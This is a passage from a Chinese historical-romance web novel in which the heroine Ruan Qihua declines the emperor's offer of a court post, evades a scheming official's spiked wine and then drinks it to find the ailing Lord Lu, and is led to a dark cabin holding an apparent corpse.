心头颇为不优雅地掀了掀眼皮子,船是破破烂烂的,下人是畏首畏尾没有利落劲儿的。
啧。
好歹对方是将信将疑地让了路。露出背后的龙边门。
门后仿佛是另一个世界。
三层船舱的雕花画舫,尾舱是侍从御船工居所。她现在所在的二舱是受邀大臣与皇亲国戚的专属,中央设有戏台,她粗略瞟一眼,舞姬与乐伶正在演奏,轻纱蔓舞,乐声悠扬。
受邀的臣子不过数个,二舱的戏台之下,几张小方桌,足以坐下。
阮绮华的目光快速扫过,依旧没有发现那道身影。不由得脚下顿了顿。
陆大人果真是没有上船么?
簪着孔雀翎,穿着橙色宫装的女子见了她来,笑着唤她,同她指路。“阮姑娘,这边请。”
旋转上升的小楼梯隐在角落,顾不得疑惑这女子的身份,在对方的引导下,她拾阶而上。龙凤呈祥的图腾雕满护栏扶手,随着脚步,有光亮照在她脸上。
这是到了年轻帝王的看台。
“臣女,参见陛下。”
她深深屈膝,福身便要行大礼。
花团锦簇的刺绣地毯在眼前放大,一道威严的声音响起,拦住了她的动作,“免礼。”
“过来,与朕同坐即可。”
嗯?
阮绮华疑惑地看过去,袅袅檀香缭绕的花梨木半圆宝座之上,景仁帝面色柔和,以目光示意她坐在自己身旁。
槅扇方圆窗心的字画隔绝了外界的窥视。
方才的宫装女子已经退下,头舱中的小小空间,只余下她二人。
这又是行的哪一出?
阮绮华不动声色地快速分析眼前的局势,为避嫌,也为避免天子陷入危险。陛下身边最亲近的位子,通常只有两种人能坐,一种,是心腹大臣,如季赫楚、曾经的陆临渊;另一种,便是嫔妃。
她一个从三品大臣之女,就算是拔得了秋闱头筹,也挤不进去第一类角色。
那么……
帝王看不见的角度,她无法抑制地扯了扯嘴角。
难怪方才小太监忍不住口误,地位颇高的妃子也对她礼遇。原来是正主故意为之。
脑中一番飞速旋转,终于开口推脱道,“谢陛下隆恩。臣女有疾,坐太近恐影响陛下龙体。”
边说着,边从怀中掏出绣帕,捂住唇边,做出一副体虚的模样。
“无妨。”还是那样平淡的声音响起。阮绮华的余光看到有人从椅上起身,正朝她走来。
“朕是真龙天子,你凑近些,恰好治治你隔三差五就病弱的身子。”
这个意思,是同样的招数用过一招便不能用了。
不行,得挑明了。阮绮华双膝一软,当机立断跪地行礼。
“陛下,男女大防不可破,臣女愚见,还是坐在隔扇左前的椅凳即可。”
臣女绝对没有入您后宫的心!
身着龙袍,体形高大的男人终于停下了脚步。语调微微上扬,“哦?绮华不想进宫,享有无上荣华与宠爱吗?”
“朕,很是看好你。”
什么荣华能有我阮家荣华。
想到方才几次差点踩到画舫的断层,阮绮华艰难地忍住了眼中的鄙夷。
唱台上换了人,那女子一袭红衣,声音如夜莺般婉转。
身姿曼妙,脚下不停旋转,在场的官员却纷纷看向别处,不敢直视。
只因那女子的目光始终盯着看台上器宇轩昂的天子。
那是容妃。
舞姿变换间,她不经意瞥到天子身边,几步之遥跪在地上的阮绮华。
双眼瞬间染上杀意。
看台上的人很难不注意到这样有如实质的目光。更别说,容妃婉转的嗓子在看到阮绮华的一瞬间差点劈了。
阮绮华不动声色地向下看一眼嫉妒到快要发狂的容妃,又平静地看一眼几步之外的景仁帝。
她没明说,景仁帝却从尴尬的气氛中读懂了她的意
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思。周身散发的气势滞住。
又向她提问道,“若我说能给你至高的权力呢?”
不可否认,权力是个好东西。她阮家若不是因为钱财有余而权力不足,也不至于要在入京后处处矮人一头。
季家的、柳家的,甚至矮胖尚书林家,京中哪一家都能在暗中觊觎阮氏的财产。
她口中拒绝的话噎在喉中。
九五之尊若是要捧一个人,给她权力,那么她必然是能得到的。也无任何人敢忤逆。
方才停下的脚步继续往前,阮绮华垂着头,几乎能看到天子摆动的龙袍。
“许你正二品尚仪,给你督查朝廷内外之职,若有人不满,许你母亲诰命,保你阮氏自此无人敢欺。”
“你意下如何?”声音中的笑意愈发浓了。
羊皮靴上的尖头已经走进了她的视线,她能清晰地听见景仁帝的声音在头顶上方响起。
她做小伏低,不就图个家族强盛,无人敢欺吗?
二品尚仪,已经与柳尚书平级。普天之下,怕是再也找不出这样的机会。
但是……
极轻的声音从跪在地上的女子口中发出。“臣女,不愿。”
她的嗓音有些干涩,条件确实太诱人了。
太轻了,景仁帝几乎怀疑自己的听觉。这样的条件,怎么会有人拒绝?
地上的女子仰头看向他,双眼直直对上,太清澈的一双眼,景仁帝从那双黑白分明的凤眼中清晰地看到了自己惊讶的面容。
她的声音清晰有力,“谢陛下隆恩,您所说的,确实是臣女全族的期望,但,臣女不愿。”
“为何?”
“因臣女还有更重要的事情要做。”阮绮华挺直脊背,一如当初宫宴上陆临渊挡在她身前的模样,眼中满是认真。“陛下,当初臣女承诺要举全族之力,助大雍海晏河清,并非妄言。若是真的接受了您的官职,恐怕反而会打草惊蛇,不利于调查。”
此言非虚,她能受邀混入柳家的生辰宴,同朝中各方大臣接触,无非是因为大家都当她是毫无威胁的美貌花瓶,想笼络她这颗摇钱树。
但如果她有了权力,甚至高到让人忌惮。
那么说话行事,便不再那样容易。
她早就将装弱的手帕丢弃在地,撕下面具后,面上只余下十分的诚恳。
景仁帝终于按下了试探她的举动,负手深深盯她半晌,“冯保。”
从宝座后方显现一个身影,冯保手持拂尘,笑眯眯地从阴影处走出,朝景仁帝躬身应和。“奴才在。”
景仁帝不作声,只微抬下颌,以眼神示意。而他也立马会意,将看台四周的帘子拉下。
“好了,退下吧。”
阮绮华在一旁,暗自心惊。
直到冯保施施然从她面前再次经过,她这才发现,这看台上,居然还有第三个人一直存在。
“现在好了。”掀袍抬步,景仁帝大马金刀地坐在他的宝座之上。
撕下方才伪装的调笑,他终于换上了帝王的威严。
沉稳的气势在帘布围着的空间中蔓延。这位年轻的帝王换下了轻佻的声调,以眼神示意她从地上起身,去他正对面的地方坐下。
“说说吧,你说的调查,是指什么;还有……前日你从朕的药库返回,又遇到了什么。”
那是鹰隼般锐利的眼神。
27. 被识破了
一帘之隔,是另一番天地。
帘子拉下的瞬间,台上的红衣女子面容阴沉地能滴出水。
二舱的方桌处,一袭墨绿长衫的男子不动声色地紧盯看台方向,眼底一片晦暗。
桌上捏着茶杯的手暗暗用力。
能有资格上桌的没有傻子。
没有人出声,台下觥筹交错,台上歌舞不停。但细微的气氛变换之间,众人已经颇为乖觉地抬头瞟一眼容妃娘娘的面色,又遥遥望一眼看台后模糊交叠的人影。
宫里要进新人了吗?
推杯换盏的动作不停,但各自心中已经皆如明镜一般,彼此对视,一片隐秘的心照不宣。
看台上的两人注意不到那诸多的视线,只有女子片刻不停的阐述。
阮绮华垂下眉眼,端坐在景仁帝对面。
景仁帝林庄清已经是一位相当成熟的年轻君主。
此刻,他正低头把玩着手中的小狮子摆件,似乎全副身心都放在了手中的物什上。
但阮绮华知道,对面男人的视线从未离开过她。
收起和善面具的林庄清,再看向她时只剩冰冷的审视。
没有人敢在帝王的面前伪装。
她不敢停歇,一刻不停地说了她在柳家生辰宴的所见所闻,包括被刺杀与刺杀后的反常宁静。听完这一切的景仁帝只轻轻颔首,眼中并无意外。
“就这些吗?”
还是那样平淡的声音,年轻的帝王手上不停,双眸沉静如水,静静看向她。
阮绮华却莫名地心惊。
说这些,还不够么?
她眼带犹豫地看向景仁帝。
“关于柳家,你可还有别的要说?”景仁帝轻笑一声,再次看向她的眼里多了鼓励,仿佛在暗示她某些东西。
空气中的暗示扑面而来。她心头忽的一跳。
如果说关于柳家的见闻,是事实,不带偏颇地阐述出来,对她本人并无影响;那么对于柳春明的猜测,便是全由她个人,空口的猜测。
阮绮华抿了抿唇,长时间说话,她难免有些口干舌燥。茶水就在眼前,但是被那样绝对的上位者的目光盯着,谁又敢不知死活地去喝水呢。
紧张与干燥让她的声音变得干涩,她轻轻启唇:“臣女……”
对方放下了手中的小狮子摆件,好整以暇地看着她,眼神鼓励她大胆开口。
仿若一位真正仁和的君王。
可仔细看来,这人的眼中似乎还有一丝隐秘的狡黠。
不对。
话到舌尖,即将说出口的一瞬,她又突然顿住。
这个人,真的可信吗?
她开始回想,那日生辰宴结束,在大理寺,她同陆大人一阵语无伦次后,对方贴心地安抚并夸赞了她的细致观察。但是,现在想来,对方脸上似乎根本没有意外的神色。
一如景仁帝方才听她描述时的流露出来的反应。
再者,柳家两朝元老,脉系粗壮。在朝中举足轻重。
对于这样可以撼动朝堂的家族,景仁帝是真的毫无防备吗?
她抬起头,直视过去。
眼神锐利,直直望进上座的男人眼中。
“嗒——”
藐视君王,这眼神是大不敬。
但阮绮华毫不畏惧。
果然。男人没有治她的罪,反而一惊,手指微动,不小心碰到了摆件尾部的铃铛。发出清脆的一声响。
是了。
那日陆大人在听完她的猜测后,再三叮嘱,两朝元老,不是无根据的猜测可以扳倒的,她绝不应同外人说。
那么首先,她不能说。其次,景仁帝方才必定是揣着明白装糊涂。
陆大人带出来的学生,又如何会真的昏庸到自己的国库都被掏空了还无知无觉。
分明是要引着她说出些不该说的来。
只不过没想到被她识破了。
场面翻转,局促的不再是阮绮华。
气氛莫名又古怪起来,景仁帝方才的轻松僵在了面上。
“恕臣女愚钝,没有别的发现了。”
阮绮华勾起一抹笑来,盯着男人的眼,一字一顿。
被识破了。
“啪——”
景仁帝拿起了最近的折扇。扇面打开,点点红梅点缀,枝桠修长。
西南书画名家,王铎渊的腊梅图。
阮绮华轻轻挑眉,视线在摇动的扇面上停顿几息,又随意朝外瞥了一眼。
临近冬日,确实是快到赏梅的季节了。
扇子摇得很应景嘛。
察觉不对,景仁帝的耳尖染上一抹红色。
好半晌,他轻咳一声,终于又恢复了平静,“那么,你在御前正街捡到的东西呢?”
御前正街捡到的哑女经历凄惨,但身份存疑,说出来,让景仁帝帮忙找寻身份,是最好不过了。
她只是一个捡到伤患,好心带回去给府医疗伤的路人,老实交代出来也不会有何问题。
但是……阮绮华心下叹息。
还是不能说,一则,哑女身上种着陆大人相同的毒,若是皇室知道了哑女的存在,派御医探视,甚至直接接走,那么她该如何为陆大人提供解毒方案;
二则,哑女那一身伤,正好就是权贵折腾出来的。走漏了风声,悄无声息地死在某个角落,也不无可能。
除非对方心甘情愿,否则低位者,是永远不能占到真正的上风的。
她一时间心下无奈起来,景仁帝的步步紧逼让她难以捉摸,对方到底知道什么,知道多少,她完全只能靠试探。但方才那样莽撞的行为,无异于拿项上人头开玩笑。
她不能再冒一次险。
景仁帝颇有耐心地摇着扇子,不时端起茶盏喝茶,抛下刻意沉稳的气质,景仁帝的面容相当年轻俊朗。
扇尾的璎珞晃荡,好一派闲适风流。
不过这笑容没有持续多久。
“咚咚——”隔扇被人敲响。
是冯公公的声音,“陛下,那位求见。”
隔着薄薄的隔扇,背后的人影阮绮华看不清楚。只知道微微躬着背的司礼太监身后,有一个身量颇高的影子。
扇尾的璎珞停了,景仁帝的笑容顿住。
嘴角几不可闻地扯动两下,似乎颇为不甘心地看了一眼阮绮华,门外又响起那人的敲门声。有规律的,不急不缓,但声声都敲击在屋内的人心上。
模糊的人影就那样站着,不发一语,气定神闲。
宝座上的景仁
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帝轻轻握拳,无声地同那人在对峙半晌。终于恨恨地合上折扇,将脸偏到另一侧,看也不看对面的阮绮华。
“你走吧,阮氏。”大赦的声音响起,帝王不耐地挥挥手,动作不甚优雅,仿佛在赶蚊蝇。
被当做蚊蝇的阮绮华半点也不介意这样的待遇。顾不得干涩的嗓子与久坐后僵硬的脊背,得到赦令的她马上谢恩,利落地提起裙摆就要推门往外走。
即将触碰到外面那人的影子。
“等等,走这边。”
景仁帝指了指方才她上来的小梯。
虽然漂亮,但旋转的小梯本就陡些,加上年久失修,她方才上来时已经有些费力,此时让她从这走……
阮绮华额角微跳,顾不得那么多了。
谁知道这古怪的景仁帝会不会又改了念头,她还是速速逃离为上。
离开观景台的那一瞬,隔扇后的门也被人推了开来,是细收白皙的一截腕子。
阮绮华愣了愣,某名觉得有些眼熟。
戏台的声音又悠扬起来。
她只能眼含感激地最后看了眼那个方向,不论外头站着的是谁,真是解了她的燃眉之急。
紧握着扶手,好不容易走下木梯,她没来得及喘口气,一方散发着淡香的精致绣帕递到了她眼前。
是先前指路的鹅黄宫装女子。
她望着那人头上的孔雀翎有些愣神,阿娘说过,宫中有资格戴这孔雀翎的妃子不多,这位不仅戴了,还在容妃唱戏时,得以守在陛下身边。
男人都是很精明的。万人之上的帝王更加。
他们可以很轻易地分清宠物与爱人的区别。比如他们可能嘴上对另一个女子说着山盟海誓,甚至给予很多人冠绝六宫的宠爱。
但他们绝不会将真正珍重的爱人放到戏台,让她被当做伶人亵渎。
阮绮华将视线望进女子柔柔笑着的双目中。
所以这位挂着浅笑,如兰花般温柔的女子,应当就是出身于太傅言家,人淡如菊却地位不可动摇的,皇后言氏了。她福身行礼,又被女子轻柔地扶起。
“好了,不要拘泥与这些小节。方才是怎的了,额上出了这许多的汗。”皇后将手中的绣帕塞到她手心,她这才发现,自己的额上、手心,已经是汗湿一片。
“多谢娘娘。”她接过来,将额上的汗细细拭去,这期间,温柔的兰花皇后,还伸手将她鬓边的发丝拢到耳后。
馥郁的香气随着皇后的动作散发出来。
连熏香都用的兰花香吗?阮绮华有几分失神地看着皇后凑近的脸,这是一位与热烈张扬的容妃完全不同的娘娘。确实很容易让人心生好感,她没有拒绝对方的靠近,只在心下默默提醒自己,莫要忘了皇家无弱者。
鹅黄宫装的娉婷身姿与艳丽的江南美人站在一处,在任何人眼中,都是完美的风景。
除了不远处的季翰林。
男人正站在二舱门口,半张脸隐在阴影里,眼神盯着阮绮华二人,不时闪烁。方才在桌上与众人推杯换盏时的热情与君子风范消失不见,取而代之的是从身体缝隙中丝丝溢出的阴冷。
腰间的玉佩被他紧握在手中无意识摩梭。
墨绿色的长衫包裹着身体,像极了某种在山林中蛰伏的野兽。
28. 姐姐为何躲我
“吱呀——”
二舱的小门被风吹动。
阮绮华本想将擦拭过后的绣帕收起,低头却看到精致的兰花上已经沾了透明的水渍。
伸出去的手默默收了回来,她的脸上也出现几分尴尬。
蚕丝轻薄却娇贵,这样的一块污渍无法清洗,这方绣帕基本等同于被毁。当然,若是普通的绣帕,再金贵她也不会动容,阮氏最不缺的就是最顶级的绣娘与最金贵的锦缎。
脏了一块,抬几箱过去让娘娘撕着玩便是。
可眼下,难就难在,这帕上的绣样不是市面上常见的,细细看下来,兰花上还有错针和跳针。
御赐之物精巧,宫里养的绣娘也是手艺过硬。带着这样可爱的错漏,这帕子多半是,娘娘自己绣的。
她额角一跳,略有些不好意思地开口道:“娘娘,臣女弄脏了您的绣帕,您看这……可否给您换一块来?”
“何需如此多礼,不过便是块布巾子。”对方好像不太在意。
“可上面有您的绣样。”“不过是在宫里闲来无事打发时间的玩意罢了。”兰花本人对这样客套的推拉颇为不喜,面上的不耐都要溢出来,阮绮华还想开口说点什么,兰花娘娘竟伸手将她手中的帕子抢了去,然后随手一塞收进了怀中。
“好了,阮姑娘方才同陛下聊得也累了,不若去厅里同其他臣子用些瓜果。勿要再纠结于这些小事。”
边说,边作势要将她推过去。
这合适吗?
被温婉大方的皇后娘娘推着走,阮绮华本人心中泛起古怪。方才在景仁帝面前的一举一动都好像在踩着刀尖行走,生怕出了纰漏,谁能想到皇后娘娘作为陛下的枕边人却如此,如此豪迈。
她有些难以言喻地看了一眼推她的手,这样温柔的小兰花被繁琐的礼节逼出了脾气,总被念叨礼仪不过关的她却不得不谨小慎微。
也是倒反天罡。
想归想,阮绮华嘴上还是连连道谢。
容妃享有盛宠,高调跋扈。皇后言氏,入宫两年无所出,却在稳稳踩在容妃的头顶上而地位丝毫不受威胁,除了景仁帝的庇佑,这位皇后多半也是有些过人手腕的。行事还是需要多注意几分。
为了避免将差点成为宫妃的误会延续到朝臣中,她再三推脱了皇后相送的举动。
好不容易回到二舱,阮绮华到臣子的方桌找了个空座径直坐下。方才那阵心惊胆战,她喉中有些冒火,吩咐身后的侍女斟了茶,顾不得周遭投来的异样眼神,她一把将面前的茶水端起饮尽。总算是舒服了些。
“哎你!”
宋臻抱着剑走进来,便看见阮绮华坐在自己位子上,流畅地端起了自己的茶盏。
“怎么?”
刚刚喝完一整杯茶水的嘴唇水润起来,此刻微张着发出疑问。阮绮华不知宋臻为何又红了脸,只见对方抱着剑的手紧紧攥起来,看向自己的目光又羞又怒。活像自己是何方恶霸,轻薄了她。
但是,应当不会吧?她方才刚刚从外头回来呢。
阮绮华想了又想,还是不明所以。宋臻今日待她很是奇怪,来的路上是装不认识,眼下她话都没说一句,又是一副被欺负又不敢说的良家模样。
难不成是上次被她逗狠了,还见不得与她同坐一桌?
她抬眼扫视四周,旁边似乎还有一桌空位。
“没、没什么。”宋臻握着剑的手紧了又松,松了又紧。
看着阮绮华握着她的杯子起身要换位,到底还是没说出来那杯子是她的这种令人尴尬的话来。只是脸上的温度不断攀升,看着小姑娘朝她投过来的眼神,脚下生根般的不肯动。
这下行了吧?
她看到那女子遥遥朝她举杯,眼中是觉得本人甚是聪慧的洋洋自得。没法,她只能僵着步子坐下,脑中一片乱麻。
阮绮华对此倒也没想太多,京城的权贵都是如此的,多少有些奇怪的地方。至少宋臻只是害羞了些,她总是愿意相信宋将军那样正直的人,不会生出坏心眼的后代来。
她接着饮茶,却莫名回想起方才进门时,众人窃窃私语的动作与暧昧的眼神,甚至落座时,容妃还在左前狠狠剜了她一眼。
好像遗漏了什么。
她仰头看向看台方向。
薄薄的一层纱布模糊了里面的人影,她只能看到里面人的动作,站着的抬手抚胸,坐着的姿势闲适。
如果是这个角度的话……她的面色不可抑制地古怪起来,眼神在看台与二舱之间游移。
她方才,好像是坐在了景仁帝的正对面。
苍天可鉴,她没有半分入宫为妃的念头。
现在想想,来时路上宋臻对她的疏远,怕也是受到了“阮氏女可能要入宫为妃”这一传言的影响,故意避嫌,免得遭人说宋家攀龙附凤。
默默无语间,她感到后方有人靠近。
谁?
“又见面了,阮姑娘。”
带着笑的声音响起,众人的目光终于光明正大地看了过来。那日在制衣坊不太愉快的见面经历又浮现在了脑海中。
她微微蹙起眉,这人又想干什么。
“阮姑娘怎的独自坐在这一桌,可是第一次参与有些紧张?”
一席墨绿长袍的男子坐在了她的左手边,声音明明带着笑,阮绮华却不可抑制地闻到了对方身上散发的冷香。
不同于北地的冬日清冷的风,这是带些尖锐与阴暗的冷,如果非要她做形容,那便是阴雨季节木板角落隐秘的霉斑。
阮绮华不着痕迹的挪动一下,将手中的杯子朝另一侧避了避。
她心中腹诽,可周围太多双眼睛盯着,总不能失了礼。总归还是淡淡地回应道,“多谢季大人关心,不过是这边凉快些罢了。”
阮绮华的目光往季赫楚的腰间飘过去,可宽大的方桌与坐下后堆叠的衣物挡住了她的视线。
也不知这人今日是否佩戴了那枚玉佩。
“良辰美景相伴,阮姑娘又是我们本次秋闱的魁首。独自在一旁躲清净未免有些不合适。”季赫楚笑着举杯邀约,“不若共饮一杯?”
说罢,不知从何处拿出来一个酒壶,要唤来使
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者斟酒。
阮绮华心思一转,那日的生辰宴上,好像也是他拿来的酒。
来不及出手阻止,酒杯已经放在了面前。
“阮姑娘。”季赫楚微微倾身过来,伸手同她碰杯。他压低了声音,“周围这样多的人看着呢,可否给季某几分薄面?”
确实,季赫楚捧她的话一出,众人都想看看这位秋闱夺魁的千金小姐是何表现。
有好事者在旁边议论起来,“阮家的这位,不会是个高傲不懂礼数的吧?季大人好心帮她捧场,她独自躲在一边,这如何合适。”
季赫楚的右手举着酒杯,在她面前不肯移动。大有一副今日她不喝这杯酒,对方便不挪动了的意思。
这是要硬逼?
阮绮华突兀地笑了出来。
大大方方地向后,拉开两人的距离,然后端起自己的茶杯,“季大人此言差矣,怎的是给季大人面子呢?今日陛下设宴让大家共赏美景,气氛如此美妙。绮华感念陛下的恩赐,以茶代酒,敬大雍,敬陛下,更敬诸位朝臣。”
“敬陛下千万岁,无岁不逢春!”阮绮华仰头将杯中的茶水一饮而尽,末了,向季赫楚绽开一个笑来,“绮华沾酒就浑身不适,在宫宴中也只能以茶代酒,季大人想必不会在意吧?”
后方有宋臻的应和,“阮姑娘哪里的话,季翰林明理,沾酒不适又怎能强求。”再者,她看一眼上方的观景台。
里面传来一阵抚掌笑声。
有宋臻背书,景仁帝撑腰,阮绮华一番话说得滴水不漏,若是再要咬着一点细节不放,那便是季大人的不是了。
季翰林,难道还能盖过龙椅上那位去?
季赫楚显然也是知晓这一点的,端着酒杯的脸一阵青白,紧盯着阮绮华的笑脸,眼中快要燃起火来。
不过,到底是在朝中左右逢源的文臣,心下有再多的想法,嘴上的场面话也是不会落下的。
他很快调整好情绪,同样举杯朝观景台的方向,换上真挚的神情:“阮姑娘所言极是,微臣敬大雍风调雨顺,也敬陛下龙体康健、千秋万代!”
一番话说的饱含真心又激昂有力,在场众人纷纷跟风举杯。
阮绮华颇为自在地又添了点茶水。
别的不行,宫里的茶叶确实不错,她轻抿一口,同大理寺用的一样,顶级的白毫银针。她满意地挑挑眉。朝宋臻送去一个感谢的眼神。
见对方不出意外地又红了耳尖,阮绮华嘴角的弧度又扩大了些。
宋家姐姐真是可爱。
不过,她的笑脸落在某些人眼里却是刺眼得很。季赫楚从众人举杯的气氛中撤下来,无声无息地冲她走了过来。
“阮姑娘,很高兴吗?”
“可是,我方才见到陆大人,似乎有点难受的样子呢。”阴影笼罩住阮绮华的身体,众人的祝贺声中,她听到季赫楚阴冷的声音。
熟悉的名字从男人口中说出,阮绮华心下一跳。
几乎是一瞬间,她抬起头死死盯住季赫楚。“这是何意?他在哪。”
“告诉我。”
29. 与你无关
“告诉我,陆大人在哪里。”
天色骤然阴沉了下来,周遭的人群却还一无所知,呼声不停。漫天的红绸之下,舞姬飘然下场,被权贵圈在怀中,娇笑连连。
无人注意到的角落,阮绮华同季赫楚之间,酝酿起风暴。
男人高大的身躯挡住了他人的视线,这一方小小的空间,是他如蜘蛛吐丝般构筑的巢。
蛛丝不疾不徐地从他嘴中吐出,复眼不会放过猎物的一举一动。
“阮姑娘,很关心陆大人啊?”他勾起唇角,笑得无声无息。试探的话语被他状似不经意地说出,外人看来,季赫楚依旧是热心关切的当红文臣。
阮绮华未发一言,男人似乎也并不关心她的答复。
他轻笑一声,骨节分明的手将酒杯再次推到阮绮华面前。指尖在酒杯附近游离,他附身下去,语气中是满满的亲昵。
“方才我敬姑娘的酒,姑娘可还没有碰过。方才你虽说沾不得酒,但我这酒,可不一样,姑娘你看……”
那样轻缓的呢喃,宛如情人间的爱语。没有人能发现不妥,只有被困住的猎物感知得到这之中的恶意。
她想到上船之前,陆临渊的避而不见、门童和李副使闪烁的眼神,逃避的语气。
又想到哑女因病痛毒发而蜷缩的身子和流泪的双眸。
陆大人,是毒发了吗?她那时分明已经闯入了他的府宅,站在了他的院落门口,可是为何没有进去呢?
一墙之隔,那时的陆临渊,已经在痛苦中了吗?
她无法再继续想象下去,那个总是从天而降救她与水火,挡在她身前的陆大人,那个一心为民,温润如风的陆大人,那个随身携带卷宗、笑得温和的陆大人。
不可。她不能放着他独自忍受痛苦。阮绮华的视线停留在面前的酒杯上,犹豫不定。
澄黄的液体在酒樽中静静等待,季赫楚的指尖不时轻点,在无声地催促。她的手缓慢地抬起,她……真的要喝?
这酒,摆明了就是有问题。
红唇抿成一条直线,阮绮华仰起头,修长的颈弯出一道优美的弧,脆弱又美丽。
“你如何能证明,你说的是真的。”
季赫楚此人,阴险狡诈,她怎知这人说的话有几分真、几分假。
男人听言,笑容愈发扩大。眼里分明是兴奋的光,嘴上却带着满满的惋惜,“真让人伤心,姑娘几次三番怀疑季某人的话。”
“姑娘不信我不要紧,我没法摆出什么证明来,也没法拉着吐血的陆大人按下手印诉说痛苦。”
“只是,时间不等人啊……”
“你!”
阮绮华不自觉地皱起了眉头,是,她大可以怀疑季赫楚的话,质疑这一切的真实性,不去喝下面前的酒,可是。
可是在她犹豫的这一刻,陆临渊也许正躲在这艘船上的某个角落暗自痛苦。
心中的某一处如斧凿般钝疼,指腹终于还是触到了酒樽。
话本子里头总有人明知坏人给的东西有问题,还硬要拿。
她读到这样的情节时,总是不屑一顾,然后随手将书丢给春桃,懒散地在罗汉床上打个滚,再对写书人赏一句蠢货。
但如今……
她仰头,将酒一饮而尽,站立起来转身与季赫楚对视。“现在可以带我去了吗?”两人之间的距离,近到她整个鼻腔中都是对方身上的阴冷味道。
“瞧姑娘说的,好像季某人是在强迫谁做事。”季赫楚手上还捏着酒樽,双眼黏在阮绮华身上,语气中是令人生厌的黏腻。
“莫要再废话,酒我已经喝完,大人也该信守承诺了。”
阮绮华的耐心在急速告罄。双手不自觉地握紧,火红的丹蔻陷入掌心。
不能太激进,要拿捏分寸,阿爹教过,在博弈中主动的一方无异于将自己的把柄送与他人拿捏。
她硬逼着自己的目光不要那样急躁。
又是那样虚伪的笑容,阮绮华恨不得一把药甩过去,让这男人莫要再露出那恶心的笑来。
“好了好了。阮姑娘莫急嘛,随我来便是。”季赫楚又是一个暧昧的眼神,转身带路时,不忘朝路过的宾客递出去一个笑。“舱内有些闷,阮姑娘托我领她出去透透气。”
同为男人,在座的各位贵人哪能不知道这笑容的意思。此刻纷纷意会,对他二人投来意味不明的目光。
“季翰林这玩的大了些吧,陛下看中的女人也敢凑上?”“这你就不懂了吧,季翰林在陛下心中的地位怎是一个女人能动摇的。不过是玩物,能帮助稳住朝臣,少一个又有何所谓?”
周围响起窃窃私语。
阮绮华不是没听到这些人的讨论,但眼下她已无暇顾及。只想牢牢跟在季赫楚身后,生怕他走到一半便反了悔,她无比清楚,倘若陆临渊真的毒发,依照毒素的迅猛程度,留给她的时间不多。
今日的青雀舫上足足有数百人,一旦跟丢了,她真怕会赶不上。
赶不上救下陆大人。
思及此,她恨不得推着季赫楚往前走。可眼见要行至二舱门口,一只手拉住了她。
顺着手往上看,宋臻带着怒意的脸出现在她面前。
“你可知你在做什么?”
与外男亲密靠近,甚至在大庭广众下便要单独出走。季赫楚方才的眼神分明充满了轻佻,阮绮华怎能这样傻傻地跟着走?
她不该这样轻信他人。
宋臻的眉眼满是认真,她手下暗暗使力,不让阮绮华向前,压低声音:“你现在开口,邀我同去。”
镇北大将军宋家家训,不站队,不参与朝堂争斗。宋家女儿宋臻,品行无双。有她同行,不会有人再将阮绮华污名化。
阮绮华的心中流过暖流。她怎能不知宋臻一片真心?
在她有可能飞上高枝时,宋臻默默避嫌;在季赫楚戏弄她时,宋臻开口相助。眼下更是在众人看热闹时,出手劝导。
她抬头望向宋臻想要说些什么,可是嗫嚅半天,眼底还是一片触目惊心的挣扎。
走在前面的季赫楚已经发现了她们的小动作,正顿住脚步,假装不经意地望向她,实际眼神中满是晃眼的警告。
她毫不怀疑对方是在警告着,她若是敢说什么不该说的,方才季赫楚的承诺便立
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马作废。
她不能拿陆大人的性命去赌。
“这无需你多管。”
手中的衣摆被一寸寸抽出。女子的声音很轻,转身的动作却毫不拖泥带水。出门时的侧脸被光照亮,连一个眼神都不曾留给她。
宋臻不可抑制地跟着看过去,她想追上去拉住阮绮华,可脚下像是生了根,挪不动脚步。
女子的侧脸精致又冷漠,背影转瞬即逝。
只留下她默默低头,看着空空的手心。面上一片茫然。
是她……多管闲事了吗?
——
面前的路越来越狭窄,也越来越偏僻。
阮绮华的眉心忍不住轻轻蹙起,季赫楚这是要带她去何处?她望向前方坚定走着的男人,手不自觉地朝腰间摸索。
此行变数众多,难以捉摸。她暗暗在心中估计着锦囊中的药物数目。
方才喝的酒中掺杂了什么,她暂时还分辨不出,但是自己的身体她清楚,被天材地宝泡大的体质,无论如何也不会沦落到毫无反抗之力的地步。
加上出门前春桃给她塞的东西,再困难,她总归也是能咬牙坚持住的。
当务之急,还是得救下陆大人。
“还有多久到?”她忍不住出声。
“急什么,这不马上就要到了。”路过的人越来越少,一刻钟之前,阮绮华便不再能见到侍者。季赫楚也清楚这一点,在人前的亲昵语调消失不见,只剩下些许志在必得。
碧波荡漾,船只即将行驶到湖的中央。
而他们此时,已经从船的正中,到达整艘船的尾部。
季赫楚走到一处小门,停了下来。他微微侧身,拉开眼前的舱门,嘴角又漾起笑来。“这不就到了,我的阮妹妹。”
昏暗的天色照不进船舱深处。阮绮华脑中警铃大作,她本能地向后撤步,想要离开这处危险之地。可恍惚间,她好像真的看到里面有个蜷缩着的身影。
会是,会是陆大人吗?
她已经来不及思考。只能艰难地朝前探身,努力辨认。
那是相当陈旧狭小的一个舱室,没有窗户。她只能依靠着昏暗的天光看到低矮的柜子和布满灰尘的矮桌。
那矮桌的旁边,有一个瘦削的人影缩在角落。
穿着,穿着藏青色的衣衫!
她猛地超前走一步,用手按住门框,半个身子探进了入口。
那里蜷缩着的人身量很高,与陆大人一般无二;穿着的衣服也是她那日买给陆大人的没错,她腿有些发软,陆临渊怎能狼狈成这副模样。
“陆大人!”她要进去救他!顾不得季赫楚的存在,她这就要进去。
可是刚埋入一只脚,阮绮华的脑中突然划过什么。背对着她的那个男人,为什么从方才开始便一动不动?
不对,不对,她突然反头,朝季赫楚的方向看过去。男人的脸上扬起的笑容邪肆,见她看过来,不躲不避同她对视,眼中是毫不掩饰的恶劣。
电光火石之间,她突然意识到了一个巨大的漏洞。
活人是不会在这样透不过气的狭小船舱呆着还将门锁死的。
30. 下三滥
面前是几乎不能看清的狭小船舱,角落里的人从方才开门开始便一动不动地蜷缩着。
目不可视物的盲人相较健全人有更敏锐的听觉。在身后男人的刻意安静下,阮绮华清楚地听到现场的呼吸声。
分明只有两道。
她几乎是瞬间打起冷战,身后的季赫楚倚着门不动,阮绮华已经完全踏入了这个晦暗的空间。她伸出去的手不可抑制地开始颤抖。
呼吸,人受到重伤后,呼吸变得很轻是正常的,曾看过的古籍上,甚至有龟息的记载。
或者,或者是她的听觉太过钝,是她没听出来。
她能听见自己的脉搏停摆了一瞬。脑中的思绪变成了直直的一条线。
“嗒——”
船舱的外面响起什么声音。
是有人在庆祝什么吗?
她不知道,在指尖真正触及那具僵硬的躯体时,她已经无法想起来任何东西。
